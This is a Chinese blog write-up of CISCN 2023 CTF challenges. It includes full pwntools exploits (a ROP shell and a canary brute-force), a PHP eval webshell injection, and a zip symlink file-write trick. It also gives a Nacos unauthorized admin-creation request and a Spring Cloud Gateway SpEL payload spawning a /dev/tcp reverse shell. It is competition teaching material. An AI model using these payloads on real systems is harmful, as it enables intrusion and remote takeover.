ciscn2023初赛 writeup

又被带飞力,感谢队友。
在这里插入图片描述

PWN

烧烤摊儿

静态链接文件,开了 NX 和 Canary,虽然有金丝雀,但在后面存在栈溢出的函数里并没有这个检查。

在这里插入图片描述

首先是一个菜单,买啤酒或者烤串会扣除一定金钱,但是没有对输入的内容进行检查,尝试输入负数的商品数量,发现余额确实增加了。这样就可以输入一个大负数使得余额增大,然后去承包摊位。成为店主之后有个输入点,能重新修改店名,程序先往栈上的变量 v5 写,再把 v5 的内容拷贝到全局变量 name 中。我们要是写入了 ‘/bin/sh\x00’,就能知道这个字符串的地址了,即 name 的地址。

输入很长的一串字符串后发现程序报段错误,意味着是存在栈溢出的,而且没有金丝雀对我们的越界作限制。v5 数组的长度是 0x20,覆盖为 ‘/bin/sh\x00’ + 0x20 个垃圾字符,然后就能写返回地址了,直接打 ROP 控制程序执行流即可。

静态程序基本上 gadget 都非常全,控制 rax=59, rdi=name_addr, rdi=0, rsi=0,然后去执行 syscall,即可执行到 execve('/bin/sh',0 ,0)

完整exp如下

from pwn import *
p = process('./shaokao')
#p = remote('39.105.187.49',42285)
context.log_level = 'debug'

p.sendline('2')
p.sendline('2')
p.sendline('-100000')
p.sendline('4')
p.sendline('5')

name = 0x4E60F0
pop_rax_rdx_rbx_ret = 0x4a404a
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
syscall = 0x402404

payload = '/bin/sh\x00' 
payload += 'a'*(0x20-0x8) + p64(0)
payload += p64(pop_rax_rdx_rbx_ret)
payload += p64(59)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(name)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)

p.interactive()

funcanary

基本上就是出了道原题,利用 fork 进程来爆破 canary,然后就可以利用 0x10 字节的溢出来改返回地址到后门函数了,我的 exp 中爆破 canary 那部分直接扒的下方 blog 的模板。

Pwn-多方式绕过Canary | 偏有宸机 (gitee.io)

这道题跟 blog 中的例题唯一一点不同是,程序开了 PIE,也就是说不能确定后门函数的具体地址了,但由于 Linux 内存和页面存在页对齐机制,所以函数地址的后12位是固定的,即 0x228

在这里插入图片描述

然后可以通过两个字节的溢出来改返回地址绕 PIE,后面再利用 fork 进程来爆破那半个不确定的字节即可。

完整exp如下

from pwn import *
context.log_level = 'debug'

bin_elf = "./pwn"

sh = process(bin_elf)
#sh = remote('39.106.48.123',30555)
elf = ELF(bin_elf)

def blasting(offset,input_prompt):
    sh.recvuntil(input_prompt+'\n')
    canary = '\x00'
    for k in range(7):
        for i in range(256):
            success("Canary ->"+canary)
            print "\n-------------   No." + str(k) + ":" + chr(i)+"   -------------"
            sh.send('a'*offset + canary + chr(i))
            recv = sh.recvuntil(input_prompt+"\n")
            print "----"+recv
            if "stack smashing detected" in recv:
                continue
            else:
                canary += chr(i)
                success("Canary =>"+canary)
                break
    return canary

canary = blasting(0x68, "welcome")
log.info("!!!canary:" + canary)

for i in range(16):
    flag=i*0x1000+0x228
    sleep(0.1)
    sh.send('a'*0x68+canary+'a'*0x8+p16(flag))

sh.interactive()

WEB

unzip

由题目的代码可以感觉到这道题目可能是考的软连接

用软连接一个指web目录

第二个指向第一次创建的连接,就可以写文件进去到web目录里面

关键的命令为:

ln -s /var/www/html web
zip -y web.zip web
ln -s /flag flag
zip -y flag.zip web/flag

然后依次传上web.zip和flag.zip

最后访问/flag即可

dumpit

根据题目看到:

use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1

可以用db或table_2_dump来传参

于是写入一个shell

?db=-r "1.php" "<?=eval($_POST[1]);?>"&table_2_dump=flag1

发现过滤了,回显不对

包括cat,tac等读不了文件

于是传入

?db=-r "1.php" "<?=eval(phpinfo()) ?>"&table_2_dump=flag1

环境变量里找到flag

在这里插入图片描述

这应该算是非预期。

BackendService

题目为NACOS后台系统

看到用户登陆便在网上找到了相关的绕过:(未授权添加管理员)

在这里插入图片描述

由此,未授权加用户的payload:

curl http://ip:port/nacos/v1/auth/users -d "username=test&password=test" -H 'User-Agent: Nacos-Server'

添加后登陆,username和password都为test 进入管理界面

进入管理页面后寻找相关的漏洞

参考这篇文章:https://xz.aliyun.com/t/11493#toc-0

在这里插入图片描述

反弹shell后连接自己的vpn

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://service-provider",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'sh', '-c', 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/6789 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

最终在根目录下找到flag

在这里插入图片描述

Misc

签到卡

随便输入一些python语句,在公众号上发消息“签到编码卡”,得到提示。然后使用以下命令即可得到flag

print(open('/flag').read())

被加密的生产流量

解压后得到流量包,流量分析。看见有modbus的名字,与文件名对应。

选中一条,使用tcp追踪流,能够发现零碎的字符串。
在这里插入图片描述

然后把他们拼接起来

MMYWMX3GNEYWOXZRGAYDA===

“===”的特征,是base32的解密,直接使用在线网站即可

在这里插入图片描述

得到字符串,加一个flag{}包起来就行。

国粹

将a图片和k图片进行拼接,a图片每个花色与k的每个花色一一对应,按万字牌、筒字牌、条字牌、花色种类的顺序排序1-42,得到多组坐标。

在这里插入图片描述

再一一排序转为横纵坐标进行画图。

脚本如下

import matplotlib.pyplot as plt

def plot_coordinates(coordinates):
    x = [coord[0] for coord in coordinates]
    y = [coord[1] for coord in coordinates]

    plt.scatter(x, y)
    plt.plot(x, y)
    plt.xlabel('X')
    plt.ylabel('Y')
    plt.title('Coordinate Plot')
    plt.grid(True)
    plt.show()

coordinates = [(1, 4), (1, 5), (1, 10), (1, 30), (2, 3), (2, 4), (2, 5), (2, 6), (2, 10), (2, 29), (2, 30), (3, 3), (3, 4), (3, 10), (3, 16), (3, 17), (3, 22), (3, 23), (3, 24), (3, 25), (3, 29), (3, 30), (4, 2), (4, 3), (4, 4), (4, 5), (4, 10), (4, 15), (4, 16), (4, 18), (4, 21), (4, 22), (4, 24), (4, 25), (4, 29), (4, 30), (5, 3), (5, 4), (5, 10), (5, 15), (5, 17), (5, 18), (5, 19), (5, 21), (5, 22), (5, 25), (5, 28), (5, 29), (6, 3), (6, 4), (6, 10), (6, 15), (6, 16), (6, 18), (6, 19), (6, 21), (6, 22), (6, 25), (6, 29), (7, 3), (7, 4), (7, 10), (7, 11), (7, 12), (7, 13), (7, 15), (7, 18), (7, 19), (7, 22), (7, 23), (7, 24), (7, 25), (7, 29), (7, 30), (8, 3), (8, 4), (8, 11), (8, 12), (8, 15), (8, 16), (8, 17), (8, 18), (8, 19), (8, 20), (8, 25), (8, 29), (8, 30), (9, 21), (9, 22), (9, 24), (9, 25), (9, 30), (9, 31), (10, 23), (10, 24), (12, 22), (12, 23), (12, 24), (12, 25), (13, 2), (13, 3), (13, 4), (13, 5), (13, 9), (13, 10), (13, 11), (13, 12), (13, 16), (13, 17), (13, 18), (13, 19), (13, 24), (13, 25), (14, 2), (14, 5), (14, 6), (14, 9), (14, 12), (14, 19), (14, 23), (14, 24), (15, 5), (15, 9), (15, 12), (15, 18), (15, 19), (15, 22), (15, 23), (16, 4), (16, 5), (16, 9), (16, 12), (16, 17), (16, 18), (16, 23), (16, 24), (17, 3), (17, 4), (17, 9), (17, 12), (17, 16), (17, 17), (17, 24), (17, 25), (18, 3), (18, 9), (18, 12), (18, 16), (18, 25), (19, 3), (19, 4), (19, 5), (19, 6), (19, 9), (19, 10), (19, 11), (19, 12), (19, 16), (19, 17), (19, 18), (19, 19), (19, 21), (19, 22), (19, 23), (19, 24), (19, 25), (20, 10), (20, 11), (22, 3), (22, 4), (22, 5), (22, 6), (22, 10), (22, 11), (22, 12), (22, 17), (22, 18), (22, 19), (22, 24), (22, 25), (23, 3), (23, 6), (23, 7), (23, 9), (23, 10), (23, 16), (23, 17), (23, 19), (23, 20), (23, 22), (23, 23), (23, 24), (23, 25), (24, 3), (24, 6), (24, 7), (24, 9), (24, 10), (24, 16), (24, 19), (24, 20), (24, 24), (24, 25), (25, 3), (25, 6), (25, 7), (25, 10), (25, 11), (25, 12), (25, 16), (25, 19), (25, 20), (25, 24), (25, 25), (26, 3), (26, 6), (26, 7), (26, 12), (26, 13), (26, 16), (26, 19), (26, 20), (26, 24), (26, 25), (27, 3), (27, 6), (27, 7), (27, 9), (27, 12), (27, 13), (27, 16), (27, 19), (27, 20), (27, 24), (27, 25), (28, 3), (28, 4), (28, 6), (28, 9), (28, 10), (28, 11), (28, 12), (28, 16), (28, 17), (28, 19), (28, 20), (28, 24), (28, 25), (29, 4), (29, 5), (29, 17), (29, 18), (29, 19), (31, 10), (31, 11), (31, 12), (31, 13), (31, 25), (31, 31), (32, 4), (32, 5), (32, 6), (32, 10), (32, 11), (32, 12), (32, 13), (32, 17), (32, 18), (32, 19), (32, 23), (32, 24), (32, 25), (32, 26), (32, 32), (33, 3), (33, 4), (33, 6), (33, 7), (33, 12), (33, 16), (33, 17), (33, 23), (33, 24), (33, 26), (33, 32), (34, 6), (34, 7), (34, 11), (34, 16), (34, 17), (34, 23), (34, 24), (34, 26), (34, 32), (35, 6), (35, 11), (35, 12), (35, 17), (35, 18), (35, 19), (35, 23), (35, 24), (35, 25), (35, 26), (35, 33), (36, 5), (36, 12), (36, 13), (36, 19), (36, 20), (36, 26), (36, 32), (37, 4), (37, 5), (37, 13), (37, 16), (37, 19), (37, 20), (37, 25), (37, 26), (37, 32), (38, 4), (38, 5), (38, 6), (38, 7), (38, 9), (38, 10), (38, 11), (38, 12), (38, 13), (38, 16), (38, 17), (38, 18), (38, 19), (38, 24), (38, 25), (38, 31), (38, 32), (39, 23), (39, 24), (39, 31)]

plot_coordinates(coordinates)

画出的图片能看到大致 flag,猜一下即可
在这里插入图片描述

flag{202305012359}

pyshell

nc 连上发现输入什么都只会返回 ‘nop’,输入限制在7个字节内,且不能使用 = 符号

Pyshell 获取查看本地文件的命令为:

import os
os.system("ls")

此命令等价于: __import__('os').system('ls')

在本地 python shell 中可以执行此命令

在这里插入图片描述
在这里插入图片描述

考虑字符串的拼接绕过,使用 _ 拼接命令,最后用 eval 函数执行 cat /flag,即可得到 flag
在这里插入图片描述

Crypto

基于国密SM2算法的密钥密文分发

这个题目需要仔细阅读文档,一步步的按照提示去完成。

1.用户通过http协议服务器建立通信连接;
2. 用户将用户个人信息上报服务器,并获取id唯一标识;
3.用户使用国密SM2算法生成密钥对A(公钥A_Public_Key、私钥A_Private_Key),将密钥对A的公钥(A_Public_Key)传输给服务器;

这里先要随机生成密钥对A:

A(公钥A_Public_Key、私钥A_Private_Key)
A(AD4388720A2DB378C34E7FDF5380AD2A008144550A2AD223897AC3CFAF11C448BE82BBF2F4D79CA26F1D6650CE09B8D22EAF2C4ECCA26234F4830EEC94E5A2D3,82BDBABDD689150A3A0E627DBB20C63139D7F7764576488D1269207124B6653B)

在这里插入图片描述

4.服务器使用国密SM2算法生成密钥对B(公钥B_Public_Key、私钥B_Private_Key)、使用量子随机数发生器产生16字节随机数C;服务器首先使用16字节随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文,然后使用A_Public_Key对16字节随机数C进行SM2加密得到随机数C密文;
5.服务器将公钥B_Public_Key明文、私钥B_Private_Key密文、随机数C密文传输给用户;
6.用户使用私钥A_Private_Key,对随机数C密文进行SM2解密,获取16字节随机数C明文;用户使用16字节随机数C明文,对私钥B_Private_Key密文,采用SM4ECB算法解密,得到私钥B_Private_Key明文;
B(公钥B_Public_Key、私钥B_Private_Key)
B(04d4438e7fe37d6e3c32aa53f4d0e3ba32f7fff3f12d31091822ffcaecababbb18a2ddd5599e073802e2352e20b84f12eae78cbb716b796ca76d05133efe95d8f3,8a030cc7695de24621b15c0b28fb7720461d4dd4a3447d398b234153d5bb0a24)
随机数C密文
76f9d053d855c1cea3963d67df6fc554d2e24760394fdd48eecc0307175cfb6f4de5c89de2d29f288cb3ca2c7c7f143b599392a54be52dd6e82e8fd43d8f789a2cba923b31a41da40df10ec5f04641013bb4b1b3233e97ae385bbfa0d4aef977f4716c74f7b3c5bd31ac51d751f645ce

直接使用在线工具解密密文C,还有私钥B_Private_Key明文也是在线解密

在这里插入图片描述

随机数C明文
AD74ED55E1223775021E53060DA5E0A7

在这里插入图片描述

私钥B_Private_Key明文
568C316A7A250EFF0F58278FA83E20860103809AE44C81D57808456ECF89574D

后面的操作就比较简单了

7.用户向服务器请求密钥,服务器使用公钥B_Public_Key明文,对密钥D(16字节)采用SM2算法加密,将密钥D密文传输给用户;
8.用户使用私钥B_Private_Key明文,对密钥D密文进行解密,得到密钥D明文;
9.用户将密钥D明文,上报至服务器进行验证,服务器返回参赛结果;
10.用户可向服务器查询个人信息及参赛结果

在这里插入图片描述

也是使用在线工具解密
在这里插入图片描述

密钥D密文
5a8a1462b800cea66483eddd751bfd635f7551bb8b6523375393275c5e9f9e1d9277e37a700bb87405b3df0da144801686fc0bdcc37eaaa5495a73b0a4d5b9a15586e6a53061476329561af25c2dc66da3e2a8dc4b187cb3a5339c6fce68d91db45568cdc41a76adc9f0b364504ec518

密钥D明文
BA87E9FF7837EA5FFD4C146EA7AC2E78

可信度量

本题我的是非预期解,主要是最近学习了操作系统原理这门课程,对于find的命令较为熟悉

使用xshell登录ssh服务器后,直接使用命令:

find / –type f |xargs grep -ra "flag{" grep

即可得到flag

在这里插入图片描述

Sign_in_passwd

本题虽然较为简单,但是主打一个猜

下面那串比较长,又有“%”,马上就想到url编码

使用cyberchef先解url
在这里插入图片描述

GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

然后就是一个base64的换表

在这里插入图片描述

badkey1

  1. proof_of_work()函数要求用户找到一个长度为4的字符串XXXX,使得sha256(XXXX + proof[4:])等于给定的哈希值_hexdigest。如果用户提供了正确的XXXX,函数返回True,否则返回False。
  2. 如果proof_of_work()返回False,程序将退出。
  3. 程序设置一个10秒的定时器。用户需要在10秒内完成接下来的任务,否则程序将被中断。
  4. 程序提示用户提供一个“错误的”RSA密钥对。用户需要输入两个质数p和q,这些质数需要满足一些条件(例如,它们必须是512位长的质数,且不能使p % e == 1 或 q % e == 1)。
  5. 程序尝试使用用户提供的p和q值构造一个RSA密钥对。如果构造成功,程序将输出"This is not a bad RSA keypair.“。如果在尝试构造密钥对时引发了ValueError异常(即密钥对不满足RSA算法的基本属性),程序将输出"How could this happen?”,并显示秘密标志(flag)。如果程序被中断(例如,由于10秒定时器到期),程序将输出"Hacker detected."

首先是proof

import hashlib
import itertools
import string

def find_proof(prefix, target_hash):
    for combination in itertools.product(string.ascii_letters + string.digits, repeat=4):
        test_str = ''.join(combination)
        test_hash = hashlib.sha256((test_str + prefix).encode()).hexdigest()
        if test_hash == target_hash:
            return test_str
    return None

proof_prefix = find_proof(proof_suffix, target_hash)

传入服务器发来的proof, target_hash

爆破sha256

接着构造d=k*q使得不满足RSA生成密钥的条件

from Crypto.Util.number import 
while True:
p = getPrime(512)
e = 65537
k = inverse(e, p - 1)
t = (e * k * p - 1) // (p - 1)
for j in range(1, e+1):
    if t % j == 0:
        q = t // j + 1
        if isPrime(q) and q.bit_length() == 512:
        print(p)
        print(q)
        break

完成这两个条件即可得到flag

完整脚本如下

import hashlib
import itertools
from Crypto.Util.number import getPrime,inverse
from pwn import *
from Crypto.PublicKey import RSA


p = remote('39.105.26.155',29558)

t = p.recv()
hexdigest = t.decode('utf-8')[33:97]
proof = t.decode('utf-8')[12:28]

def find_proof(prefix, target_hash):
for combination in itertools.product(string.ascii_letters + string.digits, repeat=4):
test_str = ''.join(combination)
test_hash = hashlib.sha256((test_str + prefix).encode()).hexdigest()
if test_hash == target_hash:
return test_str
return None

result = find_proof(proof, hexdigest)
p.sendline(result)
t = p.recv()
print(t.decode('utf-8'))

# p.interactive()
weak_p = 10531798713566879985296310428910390829209559732187698122767912917088107059584145754739337891177477443973692234213380752118071230162618029537072442550315509
weak_q = 10354167589067169202907092046919351418658108936732776652403348338383910730719553355212239030073966381178568000602060877173120275918735882350052550806863399
p.sendline(str(weak_p).encode())
p.sendline(str(weak_q).encode())
t = p.recv()
print(t.decode('utf-8'))

Reverse

ezbyte

通过ida逆向后,找到关键函数:

在这里插入图片描述

在这里插入图片描述

然后就是readelf读取堆栈信息,

DW_CFA_val_expression: r12 (r12) (DW_OP_constu: 8722213363631027234; DW_OP_constu: 1890878197237214971; DW_OP_constu: 9123704; DW_OP_breg15 (r15): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 2451795628338718684; DW_OP_constu: 1098791727398412397; DW_OP_constu: 1512312; DW_OP_breg14 (r14): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 8502251781212277489; DW_OP_constu: 1209847170981118947; DW_OP_constu: 8971237; DW_OP_breg13 (r13): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 2616514329260088143; DW_OP_constu: 1237891274917891239; DW_OP_constu: 1892739; DW_OP_breg12 (r12): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_plus; DW_OP_plus; DW_OP_plus)

求解出R12-R15,最后就是简单的xor逻辑

str1 = [0x35, 0x62, 0x66, 0x65, 0x39, 0x30, 0x36, 0x65][::-1]
str2 = [0x65, 0x34, 0x2d, 0x65, 0x30, 0x37, 0x65, 0x2d][::-1]
str3 = [0x2d, 0x39, 0x36, 0x63, 0x61, 0x2d, 0x34, 0x39][::-1]
str4 = [0x63, 0x36, 0x39, 0x64, 0x31, 0x33, 0x63, 0x61][::-1]


key = str1 + str2 + str3 + str4
print(''.join([chr(i) for i in key if i]), end='')
print('3861', end='')

最后再包上个flag{}即可

babyRE

本题逻辑其实比较简单。就是一个xor的逻辑。但是题目给的是xml文件。因此需要把界面图形化后再继续做题。

使用xml文件中提供的网址进行图形化

在这里插入图片描述

找到关键的逻辑函数,现在就差字符串了。这里需要在左边最下面加一个say的框,还有secret。再把最右边那一列全部删掉。就能跑出字符串了。

在这里插入图片描述

然后就是xor的逻辑,即可得到flag

str=[102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]

flag=""
for i in range(1,len(str)):
    str[i] =str[i]^str[i-1]

for i in range(len(str)):
    flag+=chr(str[i])

print(flag)
  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值